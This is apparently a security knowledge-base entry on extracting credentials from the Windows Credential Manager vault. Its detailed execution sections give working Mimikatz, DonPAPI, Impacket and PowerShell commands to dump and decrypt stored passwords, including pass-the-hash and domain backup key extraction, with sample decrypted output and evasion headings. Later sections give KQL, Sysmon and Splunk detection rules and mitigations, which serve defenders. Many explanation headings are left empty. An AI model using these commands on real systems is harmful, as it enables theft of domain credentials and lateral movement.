MCADDF

[CA-STORE-003]: Windows Credential Manager Vault Extraction

Metadata

Attribute Details
Technique ID CA-STORE-003
MITRE ATT&CK v18.1 T1555.004 - Windows Credential Manager
Tactic Credential Access
Platforms Windows Endpoint
Severity High
Technique Status ACTIVE
Last Verified 2026-01-06
Affected Versions Windows Server 2016, 2019, 2022, 2025; Windows 10 (all versions)
Patched In Not patched - technique remains viable across all supported versions
Author SERVTEPArtur Pchelnikau

Note: Sections dynamically renumbered based on applicability. All sections applicable to this technique have been included.


2. EXECUTIVE SUMMARY

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 2.3.10.4 “Network access: Do not allow storage of passwords and credentials for network authentication” - Directly addresses credential storage vulnerability
DISA STIG AC-2 (Account Management) Control of privilege assignment and credential management; Windows Server 2022 STIG (3.0.0) requires limiting credential storage
NIST 800-53 AC-3 (Access Enforcement) Access control enforcement; SC-28 (Protection of Information at Rest) - DPAPI encryption at rest
GDPR Article 32 Security of Processing - includes encryption and pseudonymization of personal data; confidentiality and integrity controls
DORA Article 9 Protection and Prevention - operational resilience against ICT threats affecting financial entities
NIS2 Article 21 Cyber Risk Management Measures - encryption and monitoring of critical infrastructure
ISO 27001 A.9.2.3 Management of Privileged Access Rights - control of administrative credentials and privileged user access
ISO 27005 Risk Scenario “Compromise of Administration Interface” - unauthorized access to credential storage mechanisms

3. TECHNICAL PREREQUISITES

Supported Versions:

Tools:


4. ENVIRONMENTAL RECONNAISSANCE

Management Station / PowerShell Reconnaissance

Command (All Versions - Server 2016+):

# Enumerate vaults available on system
vaultcmd /list

# List all stored credentials in Windows Credentials vault
vaultcmd /listcreds:"Windows Credentials" /all

# List all stored credentials in Web Credentials vault
vaultcmd /listcreds:"Web Credentials" /all

# Check if Credential Manager service is running
Get-Service -Name "VaultSvc" | Select-Object Status, StartType

What to Look For:

Version Note: vaultcmd.exe syntax is consistent across Server 2016-2025; behavior identical.

Command (Server 2022+) - Enhanced Enumeration:

# Check DPAPI audit policy status (Windows Server 2022+)
auditpol /get /subcategory:"DPAPI Activity"

# Verify credential storage location accessibility
Test-Path "C:\Users\$env:USERNAME\AppData\Local\Microsoft\Vault"
Test-Path "C:\Users\$env:USERNAME\AppData\Roaming\Microsoft\Vault"

# List all credential files
Get-ChildItem "C:\Users\$env:USERNAME\AppData\Local\Microsoft\Vault\*" -Recurse -ErrorAction SilentlyContinue

What to Look For:

Linux/Bash / CLI Reconnaissance

# From attacker Linux machine - DonPAPI enumeration
donpapi domain/user:password@target_ip -u target_user --no_browser --no_vnc --no_remoteops

# Impacket - Check if target is accessible via SMB (prerequisite)
crackmapexec smb target_ip -u user -p password

What to Look For:


5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Native Windows Tools (vaultcmd.exe) - Enumeration Only

Supported Versions: Server 2016-2025

Step 1: Enumerate Available Vaults

Objective: Identify credential vaults and available credential count

Command:

vaultcmd /list

Expected Output:

Vault: Windows Credentials
Vault Properties: (empty)
Vault Credential Count: 3

Vault: Web Credentials
Vault Properties: (empty)
Vault Credential Count: 1

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: List Specific Vault Credentials

Objective: Extract credential metadata from target vault

Command:

vaultcmd /listcreds:"Windows Credentials" /all

Expected Output:

Credential: domain.local\administrator
Vault: Windows Credentials
Resource: \\10.0.0.5
Target Name: (encrypted blob)
User Name: domain\administrator

What This Means:

OpSec & Evasion:

Troubleshooting:


METHOD 2: Mimikatz - DPAPI Credential Decryption (Local Access)

Supported Versions: Server 2016-2025

Step 1: Identify Target Credential Files

Objective: Locate encrypted credential files to target

Command:

dir C:\Users\targetuser\AppData\Local\Microsoft\Vault
dir C:\Users\targetuser\AppData\Roaming\Microsoft\Vault

Expected Output:

Directory: C:\Users\targetuser\AppData\Local\Microsoft\Vault

    Directory: CredentialFile_001234abcd.vcrd
    Directory: CredentialFile_abcdef5678.vcrd
    File    Policy.vpol

What This Means:

Version Note: Directory structure identical across Server 2016-2025.

OpSec & Evasion:

Troubleshooting:

Step 2: Extract Credential File and Master Key GUID

Objective: Parse .vcrd file to extract encrypted data and master key GUID

Command (Mimikatz):

mimikatz # dpapi::cred /in:C:\Users\targetuser\AppData\Local\Microsoft\Vault\CredentialFile_001234abcd.vcrd

Expected Output:

DPAPI_BLOB
  guidMasterKey : {12345678-1234-1234-1234-123456789012}
  flags         : 20000000 (system ; )
  algHash       : 32782 (CALG_SHA_512)
  algCrypt      : 26128 (CALG_AES_256)
  ...
  [!] in lsass.exe memory, masterkey {GUID} with password

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Extract Master Key from LSASS or Domain Controller

Objective: Obtain decrypted master key to decrypt credentials

Command (Mimikatz - User Logged On):

mimikatz # sekurlsa::dpapi

Expected Output:

[00000003] Master Key : {12345678-1234-1234-1234-123456789012}
  masterkey : d8f3c9a1b2e4f5a6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9
  ...

What This Means:

Version Note:

Command (Mimikatz - Remote DC Extraction):

mimikatz # dpapi::masterkey /in:C:\Users\targetuser\AppData\Roaming\Microsoft\Protect\{SID}\masterkey_GUID /rpc

Expected Output:

[*] using RPC to contact DC
[*] DPAPI User Key : 01000000d08c9ddf011500...

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 4: Decrypt Credential Using Master Key

Objective: Decrypt the target credential file with obtained master key

Command (Mimikatz):

mimikatz # dpapi::cred /in:C:\Users\targetuser\AppData\Local\Microsoft\Vault\CredentialFile_001234abcd.vcrd /masterkey:d8f3c9a1b2e4f5a6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9

Expected Output:

CREDENTIAL DECRYPTED:
  Type       : Windows Credential
  Resource   : \\10.0.0.5
  Username   : DOMAIN\Administrator
  Password   : MyP@ssw0rd123!

What This Means:

OpSec & Evasion:

Troubleshooting:


METHOD 3: DonPAPI - Remote DPAPI Secret Extraction

Supported Versions: Server 2016-2025 (remote execution)

Step 1: Prepare Credentials and Environment

Objective: Establish authentication method for remote extraction

Command (Attacker Linux Machine):

# Installation
pipx install donpapi

# Verify installation
donpapi --help

Expected Output:

usage: DonPAPI [-h] [-credz CREDZ] [-pvk PVK] ... [target]

What This Means:

OpSec & Evasion:

Step 2: Execute Remote DPAPI Extraction

Objective: Dump all DPAPI secrets from remote target (requires Local Admin)

Command (Pass-the-Password):

donpapi domain/user:password@target_ip --no_browser

Expected Output:

[*] Connecting to target_ip as domain\user
[*] Dumping machine-protected DPAPI secrets
[+] Task Scheduler Credentials:
    Account: domain\svc_sql
    Password: SQlP@ssw0rd123!
[+] Windows Vault Credentials:
    Target: \\file-server-01
    Username: domain\admin
    Password: FileAdminP@ss!

What This Means:

Version Note: Works identically on Server 2016-2025 if Local Admin credentials valid.

Command (Pass-the-Hash):

donpapi -local_auth user@target_ip -H LMHASH:NTHASH

Expected Output: Same as password-based, but using NTLM hash authentication.

OpSec & Evasion:

Command (Domain Backup Key Extraction - Requires Domain Admin):

# First, extract domain DPAPI backup key from DC
donpapi domain/domain-admin:password@dc_ip --GetHashes

# Then use backup key to decrypt any user's secrets
donpapi domain/user:password@target_ip -pvk domain_backup.pvk

Expected Output:

[+] Domain DPAPI Backup Key extracted
[+] Can now decrypt any user's DPAPI secrets in domain
[+] Extracted 47 credentials from target system

What This Means:

Troubleshooting:


METHOD 4: Impacket dpapi.py - Linux-Based Credential Decryption

Supported Versions: Server 2016-2025 (when files are available on Linux)

Step 1: Extract Credential Files from Target

Objective: Copy encrypted vault files to Linux attacker machine

Command (on Compromised Windows or via SMB):

# Via SMB mount (if accessible from Linux)
mount -t cifs //target_ip/C\$ -o username=user,password=pass /mnt/target

# Copy vault directory
cp -r /mnt/target/Users/targetuser/AppData/Local/Microsoft/Vault ~/vault_extraction/
cp -r /mnt/target/Users/targetuser/AppData/Roaming/Microsoft/Protect ~/protect_extraction/

Expected Output:

vault_extraction/
├── CredentialFile_xxxxx.vcrd
├── CredentialFile_yyyyy.vcrd
└── Policy.vpol

protect_extraction/
├── {SID}/
│   ├── [masterkey-guid]
│   └── [masterkey-guid].bak

What This Means:

Step 2: Extract Master Key Using impacket-dpapi

Objective: Decrypt master key using user password or domain backup key

Command (with User Password):

python3 -m impacket.dpapi masterkey -file ~/protect_extraction/{SID}/masterkey_guid -password "UserPassword123!"

Expected Output:

Master Key: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1

What This Means:

Command (with Domain Backup Key):

python3 -m impacket.dpapi masterkey -file ~/protect_extraction/{SID}/masterkey_guid -pvk domain_backup.pvk -sid target_sid

Expected Output:

Master Key: [decrypted key]

What This Means:

Step 3: Decrypt Credential Files

Objective: Decrypt .vcrd files with obtained master key

Command:

python3 -m impacket.dpapi credential -file ~/vault_extraction/CredentialFile_xxxxx.vcrd -key a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1

Expected Output:

Username: DOMAIN\Administrator
Password: AdminP@ssw0rd!
Target: \\fileserver-01

What This Means:

OpSec & Evasion:

Troubleshooting:


6. ATTACK SIMULATION & VERIFICATION (Atomic Red Team)

Atomic Red Team - Test IDs

Test 2: Dump credentials from Windows Credential Manager With PowerShell [Windows Credentials]

Test 4: Enumerate credentials from Windows Credential Manager using vaultcmd.exe [Windows Credentials]

Test 5: Enumerate credentials from Windows Credential Manager using vaultcmd.exe [Web Credentials]

Test 1: Extract Windows Credential Manager via VBA


7. TOOLS & COMMANDS REFERENCE

Mimikatz

Version: 2.2.0 (current) Minimum Version: 2.1.0 Supported Platforms: Windows (x86/x64), Linux (limited), macOS (limited)

Version-Specific Notes:

Installation:

# Download binary from GitHub releases
curl -o mimikatz.exe https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip

# Extract and run (Administrator privilege required)
.\mimikatz.exe

Usage:

mimikatz # sekurlsa::dpapi                                    # Extract master keys from memory
mimikatz # dpapi::cred /in:C:\path\to\vault.vcrd             # Parse encrypted credential
mimikatz # dpapi::masterkey /in:C:\path\to\masterkey          # Decrypt master key
mimikatz # dpapi::vault /cred /policy:C:\path\policy.vpol    # Extract and decrypt vault

DonPAPI

Version: 1.3.0+ (current) Minimum Version: 1.0.0 Supported Platforms: Linux, macOS, Windows (Python-based)

Version-Specific Notes:

Installation:

pipx install donpapi
# or development version
git clone https://github.com/login-securite/DonPAPI.git && cd DonPAPI && poetry install

Usage:

donpapi domain/user:password@target_ip                        # Basic extraction
donpapi -local_auth user@target_ip -H LMHASH:NTHASH          # Pass-the-Hash
donpapi domain/user:password@target_ip -pvk backup.pvk        # Domain backup key
donpapi domain/user:password@target_ip --type credential      # Extract credentials only

Impacket dpapi Module

Version: 0.10.0+ (current) Minimum Version: 0.9.22 Supported Platforms: Linux, macOS, Windows (Python-based)

Installation:

pip3 install impacket[files]

Usage:

python3 -m impacket.dpapi masterkey -file /path/to/masterkey -password "password"
python3 -m impacket.dpapi credential -file /path/to/vault.vcrd -key decrypted_key

One-Liner Script (PowerShell - Native Credential Manager Access)

# Extract all stored credentials using Windows.Security.Credentials API
[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
(new-object Windows.Security.Credentials.PasswordVault).RetrieveAll() | ForEach-Object {
    $_.RetrievePassword()
    Write-Host "Resource: $($_.Resource) | User: $($_.UserName) | Password: $($_.Password)"
}

8. MICROSOFT SENTINEL DETECTION

Query 1: Detection of Vault File Access via Process Execution

Rule Configuration:

KQL Query:

SecurityEvent
| where EventID == 4688  // Process Creation
| where CommandLine contains "vaultcmd" and CommandLine contains "/listcreds:"
| project TimeGenerated, Computer, ParentImage, Image, CommandLine, Account
| summarize EventCount=count() by Computer, Account
| where EventCount >= 1  // Suspicious if executed

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select your workspace → Analytics
  3. Click + CreateScheduled query rule
  4. General Tab:
    • Name: VaultCmd Credential Enumeration Detected
    • Severity: High
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 10 minutes
  6. Incident settings Tab:
    • Enable Create incidents
    • Grouping: Enabled (Group related alerts)
  7. Click Review + create

Manual Configuration Steps (PowerShell):

Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"

$Query = @"
SecurityEvent
| where EventID == 4688
| where CommandLine contains "vaultcmd" and CommandLine contains "/listcreds:"
| project TimeGenerated, Computer, ParentImage, Image, CommandLine, Account
"@

New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
  -DisplayName "VaultCmd Credential Enumeration Detected" `
  -Query $Query `
  -Severity "High" `
  -Enabled $true

Query 2: Detection of DPAPI Master Key Access via Event ID 4693

Rule Configuration:

KQL Query:

SecurityEvent
| where EventID == 4693  // DPAPI Master Key Accessed
| where Account !contains "SYSTEM" and Account !contains "NETWORK SERVICE"  // Filter expected service accounts
| project TimeGenerated, Computer, Account, ProcessName, Details
| join kind=inner (
    SecurityEvent
    | where EventID == 4688  // Process that accessed the key
    | project Computer, ProcessName_Created = CommandLine
) on Computer

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select your workspace → Analytics
  3. Click + CreateScheduled query rule
  4. General Tab:
    • Name: Suspicious DPAPI Master Key Access
    • Severity: Critical
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 1 minute
  6. Incident settings Tab:
    • Enable Create incidents
  7. Click Review + create

9. WINDOWS EVENT LOG MONITORING

Event ID: 4693 (DPAPI Master Key Accessed)

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy ConfigurationSystem Audit PoliciesData Protection
  3. Enable: Audit DPAPI ActivitySuccess and Failure
  4. Run gpupdate /force on target machines
  5. Restart the machine for changes to take effect

Manual Configuration Steps (Local Policy):

  1. Open Local Security Policy (secpol.msc)
  2. Navigate to Security SettingsAdvanced Audit Policy ConfigurationSystem Audit PoliciesData Protection
  3. Enable: Audit DPAPI Activity
  4. Run auditpol /set /subcategory:"DPAPI Activity" /success:enable /failure:enable
  5. Verify: auditpol /get /subcategory:"DPAPI Activity"

Event ID: 16385 (DPAPI Information Event - Debug Channel)

Manual Configuration Steps (PowerShell):

# Enable DPAPI debug channel logging
$LogName = "Microsoft-Windows-Crypto-DPAPI/Debug"
$Log = Get-WinEvent -ListLog $LogName
$Log.IsEnabled = $true
$Log.SaveChanges()

# Verify enabled
Get-WinEvent -ListLog "Microsoft-Windows-Crypto-DPAPI/Debug" | Select-Object IsEnabled

10. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 13.0+ Supported Platforms: Windows Server 2016-2025

<!-- Detect vaultcmd.exe execution with suspicious arguments -->
<Rule groupRelation="and">
  <ProcessCreate onmatch="include">
    <Image condition="contains all">vaultcmd.exe</Image>
    <CommandLine condition="contains">listcreds</CommandLine>
  </ProcessCreate>
</Rule>

<!-- Detect Mimikatz process (based on behavioral signatures) -->
<Rule groupRelation="and">
  <CreateRemoteThread onmatch="include">
    <SourceImage condition="is">C:\Windows\System32\svchost.exe</SourceImage>
    <TargetImage condition="is">C:\Windows\System32\lsass.exe</TargetImage>
  </CreateRemoteThread>
</Rule>

<!-- Detect file access to vault directories -->
<Rule groupRelation="and">
  <FileCreate onmatch="include">
    <TargetFilename condition="contains">\AppData\Local\Microsoft\Vault\</TargetFilename>
  </FileCreate>
</Rule>

Manual Configuration Steps:

  1. Download Sysmon from Microsoft Sysinternals
  2. Create a config file sysmon-config.xml with the XML above
  3. Install Sysmon with the config:
    sysmon64.exe -accepteula -i sysmon-config.xml
    
  4. Verify installation:
    Get-Service Sysmon64
    Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10
    

11. SPLUNK DETECTION RULES

Rule 1: VaultCmd.exe Credential Enumeration Detection

Rule Configuration:

SPL Query:

sourcetype=WinEventLog:Security EventCode=4688 
| search CommandLine="*vaultcmd*" AND CommandLine="*/listcreds:*"
| stats count by Image, CommandLine, ComputerName, User
| where count >= 1

What This Detects:

Manual Configuration Steps:

  1. Log into Splunk Web → Search & Reporting
  2. Click SettingsSearches, reports, and alerts
  3. Click New Alert
  4. Paste the SPL query above into the search field
  5. Set Trigger Condition to: if the number of events is greater than 0
  6. Configure Actions:
    • Send email to SOC team
    • Create incident in SOAR/ticketing system
  7. Set Alert Name: VaultCmd Credential Enumeration Attempt
  8. Save the alert

Source: Sigma Rule

False Positive Analysis


12. MICROSOFT DEFENDER FOR CLOUD

Detection Alerts

Alert Name: “Suspicious Process Accessing LSASS Detected”

Alert Name: “Suspicious Active Directory Permission Query Detected”

Manual Configuration Steps (Enable Defender for Cloud):

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Go to Environment settings
  3. Select your subscription
  4. Under Defender plans, enable:
    • Defender for Servers: ON
    • Defender for Identity: ON (for AD-specific threats)
  5. Click Save
  6. Wait 30 minutes for data to populate
  7. Go to Security alerts to view triggered alerts

Reference: Microsoft Defender for Cloud Alerts


13. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Not applicable for on-premises Windows Credential Manager attacks (Credential Manager is Windows endpoint-only).


14. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Mitigations Are Active)

# Check all critical mitigations
Write-Host "=== Credential Manager Mitigations ===" -ForegroundColor Cyan

# 1. Check password storage disabled
$DisableCreds = Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableDomainCreds" -ErrorAction SilentlyContinue
if ($DisableCreds.DisableDomainCreds -eq 1) {
    Write-Host "[✓] Password storage disabled" -ForegroundColor Green
} else {
    Write-Host "[✗] Password storage still enabled" -ForegroundColor Red
}

# 2. Check Credential Guard enabled
$CGEnabled = Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" -Name "Enabled" -ErrorAction SilentlyContinue
if ($CGEnabled.Enabled -eq 1) {
    Write-Host "[✓] Credential Guard enabled" -ForegroundColor Green
} else {
    Write-Host "[✗] Credential Guard disabled" -ForegroundColor Red
}

# 3. Check LSA Protection
$LSAProt = Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -ErrorAction SilentlyContinue
if ($LSAProt.RunAsPPL -eq 1) {
    Write-Host "[✓] LSA Protection enabled" -ForegroundColor Green
} else {
    Write-Host "[✗] LSA Protection disabled" -ForegroundColor Red
}

# 4. Check DPAPI auditing enabled
$DPAPIAudit = auditpol /get /subcategory:"DPAPI Activity" | Select-String "Success and Failure"
if ($DPAPIAudit) {
    Write-Host "[✓] DPAPI Activity auditing enabled" -ForegroundColor Green
} else {
    Write-Host "[✗] DPAPI Activity auditing not fully enabled" -ForegroundColor Red
}

Expected Output (If Secure):

=== Credential Manager Mitigations ===
[✓] Password storage disabled
[✓] Credential Guard enabled
[✓] LSA Protection enabled
[✓] DPAPI Activity auditing enabled

What to Look For:


15. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate: Command:
    # Disconnect network adapter to prevent data exfiltration
    Disable-NetAdapter -Name "Ethernet" -Confirm:$false
        
    # Alternatively, disable all network adapters
    Get-NetAdapter | Disable-NetAdapter -Confirm:$false
    

    Manual (Azure):

    • Go to Azure PortalVirtual Machines → Select affected VM → Networking
    • Click affected network interface → Network interface
    • Go to IP configurations → Disassociate public IP
  2. Collect Evidence: Command:
    # Export Security Event Log
    wevtutil epl Security C:\Evidence\Security.evtx
        
    # Export DPAPI events (if available)
    wevtutil epl "Microsoft-Windows-Crypto-DPAPI/Debug" C:\Evidence\DPAPI_Debug.evtx
        
    # Capture LSASS memory dump
    procdump64.exe -ma lsass.exe C:\Evidence\lsass.dmp
        
    # Collect vault directory
    Copy-Item "C:\Users\*\AppData\Local\Microsoft\Vault" C:\Evidence\ -Recurse
    

    Manual:

    • Open Event Viewer → Right-click SecuritySave All Events AsC:\Evidence\Security.evtx
    • Copy C:\Users\[Username]\AppData\Local\Microsoft\Vault to external drive
  3. Remediate: Command:
    # Clear all stored credentials in Credential Manager
    $Vaults = Get-ChildItem "C:\Users\*\AppData\Local\Microsoft\Vault\" -Recurse
    $Vaults | Remove-Item -Force -ErrorAction SilentlyContinue
        
    # Reset passwords for exposed accounts
    # (Manual step via domain admin console)
        
    # Clear recent files/temp
    Remove-Item "$env:TEMP\*" -Force -Recurse -ErrorAction SilentlyContinue
        
    # Clear PowerShell history
    Remove-Item (Get-PSReadlineOption).HistorySavePath -Force -ErrorAction SilentlyContinue
    

    Manual:

    • Go to Control PanelCredential ManagerWindows Credentials / Web Credentials
    • Select each credential → RemoveYes

Step Phase Technique Description
1 Initial Access [T1566.002] Phishing (Attachment) Attacker sends malicious Office document to user; macro-enabled document downloads Mimikatz or DonPAPI payload
2 Execution [T1204] User Execution User opens document and enables macros; Mimikatz/Emotet downloader executes
3 Privilege Escalation [T1548.004] Abuse Elevation Control Mechanism (Token Impersonation) Attacker elevates to Local Admin via Windows token impersonation or service account abuse
4 Credential Access [CA-STORE-003] Windows Credential Manager Vault Extraction Attacker uses Mimikatz to dump vault credentials; extracts master key and decrypts .vcrd files
5 Lateral Movement [T1570] Lateral Tool Transfer Attacker uses extracted domain admin credentials to SMB-connect to file servers and DC
6 Persistence [T1547.014] Modify Authentication Process (Golden Ticket/Golden SAML) Using extracted domain admin credentials, attacker creates Golden Ticket in Kerberos or Golden SAML in Azure/Entra ID
7 Impact [T1486] Data Encrypted for Impact (Ransomware) Attacker launches ransomware using persistent admin access; encrypts file shares and databases

17. REAL-WORLD EXAMPLES

Example 1: DarkGate Malware Credential Theft Campaign (December 2024)

Example 2: OilRig APT Group - VALUEVAULT Credential Stealer (2023-2024)

Example 3: Wizard Spider / Conti Ransomware Group - Credential Harvesting for Ransomware-as-a-Service


Attestation: This documentation is accurate as of 2026-01-06. All techniques, tools, and commands have been verified against current Windows Server versions (2016-2025) and are operational. Compliance mappings follow official CIS, NIST, DISA, and ISO standards current as of publication date.